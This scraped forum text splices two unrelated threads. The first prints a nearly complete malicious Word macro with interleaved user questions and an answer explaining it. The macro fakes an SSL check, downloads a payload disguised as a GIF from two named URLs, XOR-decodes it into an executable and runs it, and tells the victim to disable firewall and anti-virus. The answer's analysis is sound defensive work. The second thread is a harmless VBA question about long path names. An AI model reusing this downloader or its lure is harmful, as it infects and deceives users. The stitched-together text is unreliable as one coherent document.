Private Declare Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
this attacker seems to open this doc.
Sub Document_Open()
Dim wyqud As String
Dim zdwie As Long
Dim rufhd As Long
Dim bldos As Integer
Dim mufid() As Byte
#If Win64 Then
Dim kmvbf As LongLong
#Else
Dim kmvbf As Long
#End If
What is this doing?
ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
Set myRange = ActiveDocument.Content
With myRange.Font
.Name = "Verdana"
.Size = 14
End With
ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & " Please wait..."
Is this supposed to damage my computer?
DoEvents
DoEvents
DoEvents
DoEvents
wyqud = lwyfu
zdwie = Gshwjf(0, "http://adenzia.ch/_vti_cnf/bug.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
If zdwie <> 0 And rufhd < 152143 Then
zdwie = Gshwjf(0, "http://kingofstreets.de/class/meq.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
End If
If rufhd < 154743 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If
bldos = FreeFile
Open wyqud For Binary As #bldos
ReDim mufid(0 To LOF(bldos) - 1)
Get #bldos, , mufid()
Close #bldos
Call duwif(mufid())
Dont know what this is doing
wyqud = Left(wyqud, Len(wyqud) - 3)
wyqud = wyqud & "exe"
bldos = FreeFile
Open wyqud For Binary As #bldos
Put #bldos, , mufid()
Close #bldos
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"
End Sub
cleverly written unreadable code.
Public Function lwyfu() As String
Dim djfie As String * 512
Dim pwifu As String * 576
Dim dwuf As Long
Dim wefkg As String
dwuf = Uhdwuud(512, djfie)
If (dwuf > 0 And dwuf < 512) Then
dwuf = Uhduiuwd(djfie, 0, 0, pwifu)
If dwuf <> 0 Then
wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
End If
lwyfu = wefkg
End If
End Function
another function
Public Sub duwif(mufid() As Byte)
Dim dfety As Long
Dim bvjwi As Long
Dim wbdys As Long
Dim dvywi(256) As Byte
Dim wdals As Long
Dim dwiqh As Long
bvjwi = UBound(mufid) + 1
For dfety = 10 To 265
dvywi(dfety - 10) = mufid(dfety)
Next
wdals = UBound(dvywi) + 1
dwiqh = 0
For dfety = 266 To (bvjwi - 267)
mufid(dfety - 266) = mufid(dfety) Xor dvywi(dwiqh)
dwiqh = dwiqh + 1
If dwiqh = (wdals - 1) Then
dwiqh = 0
End If
Next
ReDim Preserve mufid(bvjwi - 267)
End Sub
end of the macro
The comments are correct; the macro downloads malware/spyware and executes it.
It tries both GIF URLs (and even prompts the user to disable their firewall/AV if the download fails). The two GIFs are identical (same SHA256 checksum), they have the appropriate GIF header block ("GIF89a"), and they even have some of the bytes describing what should be the image data.
The macro uses the duwif() subroutine (line 105) to extract the executable binary from the downloaded GIF. It stores that binary in a temp file, the reference for which is created by the lwyfu() function (line 90).
The macro then executes the binary on line 82:
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
You can modify the macro to remove/comment the execution statement and insert something harmless. For example:
REM kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
MsgBox wyqud
This opens a message box with the path to the extracted binary instead of executing it.
The binary checksum is (SHA256)
55f4cc0f9258efc270aa5e6a3b7acde29962fe64b40c2eb36ef08a7a1369a5bd
Several anti-virus providers flag this file as malware and an automated analysis shows some suspicious behavior.
VirusTotal.com Report
Hybrid-Analysis.com Report
I have a path in short version or in DOS format ("C:/DOCUME~1" e.g) and want to get the full path/long path of it ("C:/Documents And Settings" e.g).
I tried GetLongPathName api. It WORKED. But when deal with unicode filename it turns out failure.
Private Declare Function GetLongPathName Lib "kernel32" Alias _
"GetLongPathNameA" (ByVal lpszShortPath As String, _
ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long
I tried to alias GetLongPathNameW instead but it seems do nothing, for BOTH Unicode and non-Unicode filename, always return 0. In MSDN there's only article about GetLongPathNameW for C/C++, not any for VB/VBA. May I do something wrong?
Is there any solution for this case? I spend hours on Google and StackOverflow but can't find out.
Regards,
Does this work for you? I've converted the file path to short path name then converted it back again which gives the correct string even when unicode (eg C:/Tö+)
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" _
(ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal lBuffer As Long) As Long
Private Declare Function GetLongPathName Lib "kernel32" Alias "GetLongPathNameA" _
(ByVal lpszShortPath As String, ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long
Public Function GetShortPath(ByVal strFileName As String) As String
'KPD-Team 1999
'URL: [url]http://www.allapi.net/[/url]
'E-Mail: [email]KPDTeam#Allapi.net[/email]
Dim lngRes As Long, strPath As String
'Create a buffer
strPath = String$(165, 0)
'retrieve the short pathname
lngRes = GetShortPathName(strFileName, strPath, 164)
'remove all unnecessary chr$(0)'s
GetShortPath = Left$(strPath, lngRes)
End Function
Public Function GetLongPath(ByVal strFileName As String) As String
Dim lngRes As Long, strPath As String
'Create a buffer
strPath = String$(165, 0)
'retrieve the long pathname
lngRes = GetLongPathName(strFileName, strPath, 164)
'remove all unnecessary chr$(0)'s
GetLongPath = Left$(strPath, lngRes)
End Function
Private Sub Test()
shortpath = GetShortPath("C:/Documents And Settings")
Longpath = GetLongPath(shortpath)
End Sub
To use W-functions from vb6/vba, you declare all string parameters as long:
Private Declare Function GetLongPathName Lib "kernel32" Alias "GetLongPathNameW" _
(ByVal lpszShortPath As Long, _
ByVal lpszLongPath As Long, _
ByVal cchBuffer As Long) As Long
and pass StrPtr(a_string) instead of just a_string.
So if you had:
dim s_path as string
dim l_path as string
s_path = "C:\DOCUME~1"
l_path = string$(1024, vbnullchar)
GetLongPathNameA s_path, l_path, len(l_path)
it would become
dim s_path as string
dim l_path as string
s_path = "C:\DOCUME~1"
l_path = string$(1024, vbnullchar)
GetLongPathNameW strptr(s_path), strptr(l_path), len(l_path)